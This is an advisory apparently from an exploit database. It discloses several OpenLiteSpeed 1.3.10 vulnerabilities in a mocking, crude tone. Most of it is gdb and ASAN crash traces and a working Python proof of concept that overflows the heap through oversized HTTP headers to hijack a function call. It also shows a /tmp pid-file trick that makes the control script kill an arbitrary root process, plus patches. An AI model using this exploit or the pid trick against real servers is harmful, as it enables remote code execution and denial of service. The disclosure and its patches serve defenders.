Openlitespeed <= 1.3.10 Multiple Vulnerabilities

2015.05.14
Credit: Anal
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Multiple Vulnerabilities in Openlitespeed <= 1.3.10 - CVE-b045-73d a.k.a. Analbleed This is an irresponsible disclosure of the vulnerability, which will bring large parts of the Internet into its knees - CVE-b045-73d a.k.a Analbleed. Obviously you can find the fancy logo for it above (officially approved by the security community and industry worldwide). You can also listen to the O.S.T. on the vuln's official website free of charge (as for now) here at http://analbleed.com. If you are interested in purchasing t-shirts, cups, stickers etc. visit our on-line shop on the same page. Special offer includes also a vademecum treating about all logo branded vulns released so far. You can now focus on studying their names, logos and more instead of actually doing your own research. http://en.wikipedia.org/wiki/LiteSpeed_Technologies_Inc.: May 2013 : It is used by 2% of all websites according to W3Techs,[9] making it the 4th most popular web servers. Yup, whatever. Please, think of the kittens - http://en.wikipedia.org/wiki/Every_time_you_masturbate..._God_kills_a_kitten Ok, here comes the Analbleed pain... source: ======= int Appender::append(LoggingEvent *pEvent) { char achBuf[9000]; char *pMessage = achBuf; int len; if (!pEvent) return -1; Layout *pLayout; if (pEvent->m_pLayout) pLayout = pEvent->m_pLayout; else pLayout = m_pLayout; ; this path is taken, m_pLayout is on overwritten heap if (pLayout) len = pLayout->format(pEvent, pMessage, sizeof(achBuf)); ; SIGSEGV here else { pMessage = (char *)pEvent->m_pMessageBuf; len = pEvent->m_iMessageLen; } return append(pMessage, len); } gdb (aftermath): ================ Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7df6f0 --> 0x4f61d0 --> 0x4b9480 (<log4cxx::FileAppender::~FileAppender()>: mov QWORD PTR [rdi],0x4df2b0) RCX: 0x2328 ('(#') RDX: 0x7fffffffa050 ("2015-04-14 13:13:26.670 [NOTICE] [127.0.0.1:34844] Http request header is too big, abandon!\n") RSI: 0x7fffffffc390 --> 0x1388 RDI: 0x77f660 ('!' <repeats 200 times>...) RBP: 0x7df780 --> 0x4f6110 --> 0x4b90b0 (<log4cxx::Logger::~Logger()>: mov QWORD PTR [rdi],0x4df2b0) RSP: 0x7fffffffa050 ("2015-04-14 13:13:26.670 [NOTICE] [127.0.0.1:34844] Http request header is too big, abandon!\n") RIP: 0x4b8c37 (<log4cxx::Appender::append(log4cxx::LoggingEvent*)+55>: call QWORD PTR [r8+0x18]) R8 : 0x2121212121212121 ('!!!!!!!!') R9 : 0x1 R10: 0x552cf656 R11: 0x0 R12: 0x1388 R13: 0x0 R14: 0x7742c0 --> 0x7e4530 --> 0x54534f5000000000 ('') R15: 0x1 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) 0x00000000004b8c37 in log4cxx::Appender::append (this=0x7df6f0, pEvent=0x7fffffffc390) at appender.cpp:63 63 len = pLayout->format(pEvent, pMessage, sizeof(achBuf)); gdb-peda$ bt #0 0x00000000004b8c37 in log4cxx::Appender::append (this=0x7df6f0, pEvent=0x7fffffffc390) at appender.cpp:63 #1 0x00000000004b8fe8 in log4cxx::Logger::vlog (this=0x7df780, level=level@entry=0x1388, format=format@entry=0x4e5310 "[%s] Http request header is too big, abandon!", args=args@entry=0x7fffffffe418, no_linefeed=no_linefeed@entry=0x0) at logger.cpp:111 #2 0x0000000000463876 in vnotice (args=0x7fffffffe418, format=<optimized out>, this=<optimized out>) at ../../src/log4cxx/logger.h:106 #3 HttpLog::notice (pLogger=<optimized out>, fmt=fmt@entry=0x4e5310 "[%s] Http request header is too big, abandon!") at httplog.cpp:381 #4 0x000000000047e1f4 in HttpSession::readToHeaderBuf (this=this@entry=0x774280) at httpsession.cpp:638 #5 0x000000000048422b in HttpSession::onReadEx (this=0x774280) at httpsession.cpp:1645 #6 0x0000000000474205 in NtwkIOLink::handleEvents (this=0x778a10, evt=<optimized out>) at ntwkiolink.cpp:310 #7 0x00000000004c4ccc in epoll::waitAndProcessEvents (this=0x7923f0, iTimeoutMilliSec=<optimized out>) at epoll.cpp:190 #8 0x0000000000469de2 in EventDispatcher::run (this=this@entry=0x7795c8) at eventdispatcher.cpp:219 #9 0x0000000000451450 in HttpServerImpl::start (this=0x7795a0) at httpserver.cpp:406 #10 0x0000000000457ca9 in HttpServer::start (this=<optimized out>) at httpserver.cpp:3216 #11 0x000000000044a700 in LshttpdMain::main (this=this@entry=0x779350, argc=argc@entry=0x1, argv=argv@entry=0x7fffffffe758) at lshttpdmain.cpp:930 #12 0x000000000044a672 in main (argc=argc@entry=0x1, argv=argv@entry=0x7fffffffe758) at main.cpp:109 #13 0x00007ffff5cc9ec5 in __libc_start_main (main=0x44a640 <main(int, char**)>, argc=0x1, argv=0x7fffffffe758, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe748) at libc-start.c:287 #14 0x000000000044be52 in _start () gdb-peda$ disas Dump of assembler code for function log4cxx::Appender::append(log4cxx::LoggingEvent*): 0x00000000004b8c00 <+0>: push rbx 0x00000000004b8c01 <+1>: sub rsp,0x2330 0x00000000004b8c08 <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004b8c11 <+17>: mov QWORD PTR [rsp+0x2328],rax 0x00000000004b8c19 <+25>: xor eax,eax 0x00000000004b8c1b <+27>: test rsi,rsi 0x00000000004b8c1e <+30>: je 0x4b8c82 <log4cxx::Appender::append(log4cxx::LoggingEvent*)+130> 0x00000000004b8c20 <+32>: mov rbx,rdi 0x00000000004b8c23 <+35>: mov rdi,QWORD PTR [rsi+0x20]; 0x7fffffffc390 + 0x20 = 0x7fffffffc3b0 = 0x0 ?!?!? 0x00000000004b8c27 <+39>: test rdi,rdi 0x00000000004b8c2a <+42>: je 0x4b8c70 <log4cxx::Appender::append(log4cxx::LoggingEvent*)+112> 0x00000000004b8c2c <+44>: mov r8,QWORD PTR [rdi] ; 0x77f660 -> '!' <repeats 200 times>... 0x00000000004b8c2f <+47>: mov ecx,0x2328 0x00000000004b8c34 <+52>: mov rdx,rsp => 0x00000000004b8c37 <+55>: call QWORD PTR [r8+0x18] ; SIGSEGV on $r8 + 0x18 = 0x2121212121212139 0x00000000004b8c3b <+59>: mov rcx,rsp 0x00000000004b8c3e <+62>: mov edx,eax 0x00000000004b8c40 <+64>: mov r8,QWORD PTR [rbx] 0x00000000004b8c43 <+67>: mov rsi,rcx 0x00000000004b8c46 <+70>: mov rdi,rbx 0x00000000004b8c49 <+73>: call QWORD PTR [r8+0x38] 0x00000000004b8c4d <+77>: mov rcx,QWORD PTR [rsp+0x2328] 0x00000000004b8c55 <+85>: xor rcx,QWORD PTR fs:0x28 0x00000000004b8c5e <+94>: jne 0x4b8c89 <log4cxx::Appender::append(log4cxx::LoggingEvent*)+137> 0x00000000004b8c60 <+96>: add rsp,0x2330 0x00000000004b8c67 <+103>: pop rbx 0x00000000004b8c68 <+104>: ret 0x00000000004b8c69 <+105>: nop DWORD PTR [rax+0x0] 0x00000000004b8c70 <+112>: mov rdi,QWORD PTR [rbx+0x18] 0x00000000004b8c74 <+116>: test rdi,rdi 0x00000000004b8c77 <+119>: jne 0x4b8c2c <log4cxx::Appender::append(log4cxx::LoggingEvent*)+44> 0x00000000004b8c79 <+121>: mov rcx,QWORD PTR [rsi+0x10] 0x00000000004b8c7d <+125>: mov edx,DWORD PTR [rsi+0x18] 0x00000000004b8c80 <+128>: jmp 0x4b8c40 <log4cxx::Appender::append(log4cxx::LoggingEvent*)+64> 0x00000000004b8c82 <+130>: mov eax,0xffffffff 0x00000000004b8c87 <+135>: jmp 0x4b8c4d <log4cxx::Appender::append(log4cxx::LoggingEvent*)+77> 0x00000000004b8c89 <+137>: call 0x449720 <__stack_chk_fail@plt> End of assembler dump. gdb-peda$ p *(log4cxx::LoggingEvent*)$rsi $5 = { m_level = 0x1388, m_flag = 0x0, m_pLoggerName = 0x7df7d4 "Example", m_pMessageBuf = 0x7fffffffc3d0 "[127.0.0.1:34846] Http request header is too big, abandon!", m_iMessageLen = 0x3a, m_pLayout = 0x0, m_timestamp = { tv_sec = 0x552cf656, tv_usec = 0xa5ec6 } } gdb-peda$ p *pLayout $5 = { <Duplicable> = { _vptr.Duplicable = 0x2121212121212121, m_sName = { <AutoStr> = { m_pStr = 0x2121212121212121 <error: Cannot access memory at address 0x2121212121212121> }, members of AutoStr2: m_iStrLen = 0x21212121 } }, members of log4cxx::Layout: m_pUserData = 0x2121212121212121 } ASAN: ===== ==24207==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62700000a100 at pc 0x7ffff5c1dd4c bp 0x7fffffffe0d0 sp 0x7fffffffe0a8 WRITE of size 2796 at 0x62700000a100 thread T0 #0 0x7ffff5c1dd4b in memmove (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x34d4b) #1 0x488dda in AutoBuf::appendNoCheck(char const*, int) (/home/jbieber/ospeed/bin/openlitespeed+0x488dda) #2 0x488adb in AccessLog::appendStr(char const*, int) /home/jbieber/openlitespeed-1.3.8/src/http/accesslog.cpp:652 // must be <= 4096 #3 0x48892b in AccessLog::log(HttpSession*) /home/jbieber/openlitespeed-1.3.8/src/http/accesslog.cpp:627 // logs referer and user-agent hdrs #4 0x4a2de0 in HttpVHost::logAccess(HttpSession*) const /home/jbieber/openlitespeed-1.3.8/src/http/httpvhost.cpp:354 #5 0x4bb9ec in HttpSession::logAccess(int) /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:184 #6 0x4c012e in HttpSession::closeConnection() /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1860 #7 0x4bbce3 in HttpSession::nextRequest() /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:266 // must be non keep-alive; best use HTTP/1.0 #8 0x4bf01c in HttpSession::handlerProcess(HttpHandler const*) /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1371 #9 0x4bea64 in HttpSession::processURI(int) /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1228 #10 0x4be070 in HttpSession::redirect(char const*, int, int) /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1011 #11 0x4bf529 in HttpSession::sendHttpError(char const*) /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1536 #12 0x4c49c9 in HttpSession::httpError(int, char const*) ../../src/http/httpsession.h:287 #13 0x4bfa62 in HttpSession::onReadEx() /home/jbieber/openlitespeed-1.3.8/src/http/httpsession.cpp:1692 #14 0x4ace2a in NtwkIOLink::onRead(NtwkIOLink*) /home/jbieber/openlitespeed-1.3.8/src/http/ntwkiolink.cpp:745 #15 0x4ab7d5 in NtwkIOLink::handleEvents(short) /home/jbieber/openlitespeed-1.3.8/src/http/ntwkiolink.cpp:310 #16 0x52611c in epoll::waitAndProcessEvents(int) /home/jbieber/openlitespeed-1.3.8/src/edio/epoll.cpp:261 #17 0x49efeb in EventDispatcher::run() /home/jbieber/openlitespeed-1.3.8/src/http/eventdispatcher.cpp:219 #18 0x4769bc in HttpServerImpl::start() /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:406 #19 0x47e25f in HttpServer::start() /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:3216 #20 0x473dff in LshttpdMain::main(int, char**) /home/jbieber/openlitespeed-1.3.8/src/main/lshttpdmain.cpp:930 #21 0x47181f in main /home/jbieber/openlitespeed-1.3.8/src/main.cpp:109 #22 0x7ffff4df1ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #23 0x471698 (/home/jbieber/ospeed/bin/openlitespeed+0x471698) 0x62700000a100 is located 0 bytes to the right of 12288-byte region [0x627000007100,0x62700000a100) allocated by thread T0 here: #0 0x7ffff5c3da96 in __interceptor_realloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x54a96) #1 0x539e51 in AutoBuf::allocate(int) /home/jbieber/openlitespeed-1.3.8/src/util/autobuf.cpp:42 #2 0x539dcd in AutoBuf::AutoBuf(int) /home/jbieber/openlitespeed-1.3.8/src/util/autobuf.cpp:26 #3 0x487f46 in AccessLog::AccessLog() /home/jbieber/openlitespeed-1.3.8/src/http/accesslog.cpp:446 #4 0x4a22a2 in HttpVHost::setAccessLogFile(char const*, int) /home/jbieber/openlitespeed-1.3.8/src/http/httpvhost.cpp:194 #5 0x486837 in HttpLogSource::initAccessLog(XmlNode const*, long*) /home/jbieber/openlitespeed-1.3.8/src/http/httplogsource.cpp:117 #6 0x4865d9 in HttpLogSource::initAccessLog(XmlNode const*, int) /home/jbieber/openlitespeed-1.3.8/src/http/httplogsource.cpp:69 #7 0x4a7a76 in HttpVHost::config(XmlNode const*) /home/jbieber/openlitespeed-1.3.8/src/http/httpvhost.cpp:2044 #8 0x4a8781 in HttpVHost::configVHost(XmlNode const*, char const*, char const*, char const*, char const*, XmlNode const*) /home/jbieber/openlitespeed-1.3.8/src/http/httpvhost.cpp:2307 #9 0x4a8a52 in HttpVHost::configVHost(XmlNode*) /home/jbieber/openlitespeed-1.3.8/src/http/httpvhost.cpp:2370 #10 0x47ca8b in HttpServerImpl::configVHosts(XmlNode const*) /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:2227 #11 0x47db52 in HttpServerImpl::configServer(int, XmlNode*) /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:2586 #12 0x47df45 in HttpServerImpl::initServer(XmlNode*, int&, int) /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:2775 #13 0x47e7f1 in HttpServer::initServer(XmlNode*, int&, int) /home/jbieber/openlitespeed-1.3.8/src/main/httpserver.cpp:3415 #14 0x473354 in LshttpdMain::config() /home/jbieber/openlitespeed-1.3.8/src/main/lshttpdmain.cpp:629 #15 0x473aff in LshttpdMain::init(int, char**) /home/jbieber/openlitespeed-1.3.8/src/main/lshttpdmain.cpp:846 #16 0x473de2 in LshttpdMain::main(int, char**) /home/jbieber/openlitespeed-1.3.8/src/main/lshttpdmain.cpp:926 #17 0x47181f in main /home/jbieber/openlitespeed-1.3.8/src/main.cpp:109 #18 0x7ffff4df1ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 memmove poc: ==== #!/usr/bin/python import sys import struct import socket # # openlitespeed v1.3.10: # # Kali: # CANARY : ENABLED # FORTIFY : disabled # NX : ENABLED # PIE : disabled # RELRO : disabled # # Ubuntu: # CANARY : ENABLED # FORTIFY : ENABLED # NX : ENABLED # PIE : disabled # RELRO : Partial # # 00400000-0052e000 r-xp 00000000 fc:00 323891 # /home/jbieber/src/openlitespeed-1.3.10/ol/bin/openlitespeed # 0072d000-0072e000 r--p 0012d000 fc:00 323891 # /home/jbieber/src/openlitespeed-1.3.10/ol/bin/openlitespeed # 0072e000-00735000 rw-p 0012e000 fc:00 323891 # /home/jbieber/src/openlitespeed-1.3.10/ol/bin/openlitespeed # 00735000-007b0000 rw-p 00000000 00:00 0 # [heap] # 007b0000-009d7000 rw-p 00000000 00:00 0 # [heap] # 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 # [stack] # # .data base: 0x00000000007e1100 # .data size: 0x001e1100 # # for kernel.randomize_va_space=1 one can use .data segment which is # holding the request # # for kernel.randomize_va_space=2 one need to brute-force in order to find # the address holding our request # # final = .data_addr (brute-forced addr, e.g.: 0x8ab8c4) + 0xe32 (offset) # def sendnokeepalive(r): h = 'localhost' p = 8088 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((h, p)) s.send(r) r = s.recv(4096) s.close() return s if __name__ == '__main__': daddr = int(sys.argv[1], 16) - 0x18 + 0xe32 r8_offset_addr = struct.pack('<Q', daddr) print(" .data address: 0x%x") % daddr gadget = 0x4141414141414141 final = struct.pack('<Q', gadget) print("gadget address: 0x%x") % gadget r1 = 'POST /w HTTP/0.9\n\rReferer: t\n\rUser-Agent: f\n\r\n\r' r2 = 'POST /' + '!' * 3609 + ' HTTP/1.0\n' r2 += 'Referer: ' + final + '!' * 3679 + '\n' r2 += 'Content-Type: ' + '!' * 3740 + '\n' r2 += 'Content-Type: ' + '!' * 3935 + '\n' r2 += 'Content-Type: ' + '!' * 4157 + '\n' r2 += 'Content-Type: ' + '!' * 4117 + '\n\n' r3 = 'POST /' + '!' * 3609 + ' HTTP/1.0\n' r3 += 'Referer: ' + 'AAAAAAAA' + '!' * 1500 r3 += r8_offset_addr + '!' * 2171 + '\n' r3 += 'Content-Type: ' + '!' * 3740 + '\n' r3 += 'Content-Type: ' + '!' * 3935 + '\n' r3 += 'Content-Type: ' + '!' * 4157 + '\n' r3 += 'Content-Type: ' + '!' * 4117 + '\n\n' # XXX: should be 5 or 6 reqs in total, 'while' # used for convenience during testing while(1): sendnokeepalive(r1) sendnokeepalive(r2) sendnokeepalive(r3) sys.exit(0) patch: ====== --- accesslog.cpp.orig 2015-04-23 23:11:31.265510318 +0200 +++ accesslog.cpp 2015-04-23 23:54:48.921496609 +0200 @@ -643,7 +643,7 @@ int AccessLog::appendStr(const char *pSt if (*pStr) { m_buf.append('"'); - if ((len > 4096) || (m_buf.capacity() <= len + 2)) + if ((len > 4096) || (m_buf.capacity() <= len + 2) || (m_buf.size() + len) >= LOG_BUF_SIZE) { flush(); m_pAppender->append(pStr, len); bonus features: =============== #1: Neither /home/wrecking/ospeed/bin/lswsctrl.open nor make install check the /tmp/lshttpd/. -- cut -- $ id uid=1003(wrecking) gid=1003(ball) groups=1003(ball),4(adm),27(sudo) $ ls -lah /tmp/lshttpd/ total 15M drwxr-xr-x 4 wrecking ball 4.0K Apr 1 16:50 . drwxrwxrwt 12 root root 15M Apr 1 16:53 .. drwxr-xr-x 2 wrecking ball 4.0K Mar 6 16:42 bak_core -rw-r--r-- 1 wrecking ball 6 Apr 1 16:50 lshttpd.pid -rw-r--r-- 1 wrecking ball 446 Apr 1 16:18 .rtreport -rw-r--r-- 1 wrecking ball 174 Apr 1 16:17 .status drwx------ 12 wrecking ball 4.0K Mar 16 12:25 swap $ sudo nc -l localhost -p 6666 -v & [1] 25222 $ Listening on [localhost] (family 0, port 6666) $ ps axuwww | grep local root 25222 0.0 0.0 73288 2132 pts/0 S+ 13:37 0:00 sudo nc -l localhost -p 6666 root 25223 0.0 0.0 11224 784 pts/0 S+ 13:37 0:00 nc -l localhost -p 6666 $ echo 25222 > /tmp/lshttpd/lshttpd.pid $ sudo /home/wrecking/ospeed/bin/lswsctrl.open stop [OK] litespeed: stopped. $ [1]+ Exit 140 sudo nc -l localhost -p 6666 -v $ -- cut -- #2: DoS while processing unknown headers. The poc test case is now >20MB so we will spare the fd and won't send it;] reading about delta debugging in progress, sorry. asan: ==3678==ERROR: AddressSanitizer: SEGV on unknown address 0x61d74683afcc (pc 0x0000004b477c sp 0x7fffd40198e0 bp 0x7fffd4019950 T0) #0 0x4b477b in HttpReq::processHeaderLines() /home/jbieber/openlitespeed-1.3.10/src/http/httpreq.cpp:543 #1 0x4b3990 in HttpReq::processHeader() /home/jbieber/openlitespeed-1.3.10/src/http/httpreq.cpp:224 #2 0x4bce44 in HttpSession::readToHeaderBuf() /home/jbieber/openlitespeed-1.3.10/src/http/httpsession.cpp:614 #3 0x4bf996 in HttpSession::onReadEx() /home/jbieber/openlitespeed-1.3.10/src/http/httpsession.cpp:1645 #4 0x4acf54 in NtwkIOLink::onRead(NtwkIOLink*) /home/jbieber/openlitespeed-1.3.10/src/http/ntwkiolink.cpp:745 #5 0x4ab8ff in NtwkIOLink::handleEvents(short) /home/jbieber/openlitespeed-1.3.10/src/http/ntwkiolink.cpp:310 #6 0x527365 in epoll::waitAndProcessEvents(int) /home/jbieber/openlitespeed-1.3.10/src/edio/epoll.cpp:190 #7 0x49f0f7 in EventDispatcher::run() /home/jbieber/openlitespeed-1.3.10/src/http/eventdispatcher.cpp:219 #8 0x476abc in HttpServerImpl::start() /home/jbieber/openlitespeed-1.3.10/src/main/httpserver.cpp:406 #9 0x47e34b in HttpServer::start() /home/jbieber/openlitespeed-1.3.10/src/main/httpserver.cpp:3216 #10 0x473eff in LshttpdMain::main(int, char**) /home/jbieber/openlitespeed-1.3.10/src/main/lshttpdmain.cpp:930 #11 0x47191f in main /home/jbieber/openlitespeed-1.3.10/src/main.cpp:109 #12 0x7f78c3e41ec4 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) #13 0x471798 (/home/jbieber/ospeed/bin/openlitespeed+0x471798) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/jbieber/openlitespeed-1.3.10/src/http/httpreq.cpp:543 HttpReq::processHeaderLines() ==3678==ABORTING source: int HttpReq::processHeaderLines() { ... key_value_pair *pCurHeader = NULL; ... else { pCurHeader = newUnknownHeader(); eCurHeader->keyOff = pLineBegin - m_headerBuf.begin(); ... 2. key_value_pair *newUnknownHeader() { return newKeyValueBuf(m_headerIdxOff); } 3. key_value_pair *HttpReq::newKeyValueBuf(int &idxOff) { char *p = NULL; int orgSize; int newSize; int used; if (idxOff == 0) // idxOff = m_headerIdxOff = 0x3e4 { orgSize = 0; used = 0; } else { p = m_reqBuf.getPointer(idxOff); // m_pBuf + idxOff = 0x61d00000cc64 -> 0x74682e3500000028 orgSize = *((int *)p); // 0x28 used = *(((int *)p) + 1); // 0x74682e35 } if (used == orgSize) // path not taken ... } ++*(((int *)p) + 1); // wtf?! return (key_value_pair *)(p + sizeof(int) * 2) + used; gdb: Breakpoint 1, HttpReq::newKeyValueBuf (this=0x619000014fa0, idxOff=@0x619000015090: 0x3e4) at httpreq.cpp:723 723 // 0xa gdb-peda$ p = 0x61d00000cc64 "(" // p fucked up for some reason orgSize = 0x28 newSize = 0x0 used = 0x74682e35 $164 = 0x74682e35 // *(((int *)p) + 1) $165 = 0x28 // *((int *)p) $166 = 0x74682e36 // ++*(((int *)p) + 1) Program received signal SIGSEGV, Segmentation fault. fucked up patch: --- src/http/httpreq.cpp.orig 2015-04-24 01:52:23.641459379 +0200 +++ src/http/httpreq.cpp 2015-04-24 17:17:50.169166351 +0200 @@ -49,6 +49,8 @@ #include <stdlib.h> #include <unistd.h> +#include <sys/mman.h> + #include <new> #include <util/ssnprintf.h> @@ -539,6 +541,11 @@ int HttpReq::processHeaderLines() } else { + if (mprotect(&pCurHeader, sizeof(key_value_pair), PROT_READ|PROT_WRITE) == -1) { + LOG_INFO(("[%s] Status 500: failed on mprotect()!", getLogId())); + return SC_500; + } + pCurHeader = newUnknownHeader(); pCurHeader->keyOff = pLineBegin - m_headerBuf.begin(); pCurHeader->keyLen = skipSpace(pMark, pLineBegin) - pLineBegin; #3: In case you would wonder. Yes, thare are more bugs sitting out there. For example one that was found independently http://www.security-assessment.com/files/documents/advisory/Open%20Litespeed%20Use%20After%20Free%20Vulnerability.pdf ThE EnD YXV0aG9ycyBvZiB0aGlzIGdlbSBhcmUqOgpjOGU3NGViZDgzOTJmZGE0Nzg4MTc5ZjlhMDJiYjQ5 MzM3NjM4ZTdiCmIxZjk4Nzg5Y2MwM2Q2YTBkYjJlOGJkMzA5ZjlmMjNiNmU1NDY5M2UKZmMzYzNm NjM3NGFhNDQ0ZTc4Yzk0ZmQ0NjkyNWY5NGUxM2Y5YjU4NgoxMjBhZGNmOTczZTI4NGJmM2YzMjNl NGVhMGFlZjlmNWQ5ZjNiZGU5CgoqIFphIGV3ZW50dWFsbmUga29saXpqZSBuaWUgb2Rwb3dpYWRh bXkuCg==

References:

http://www.security-assessment.com/files/documents/advisory/Open%20Litespeed%20Use%20After%20Free%20Vulnerability.pdf


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top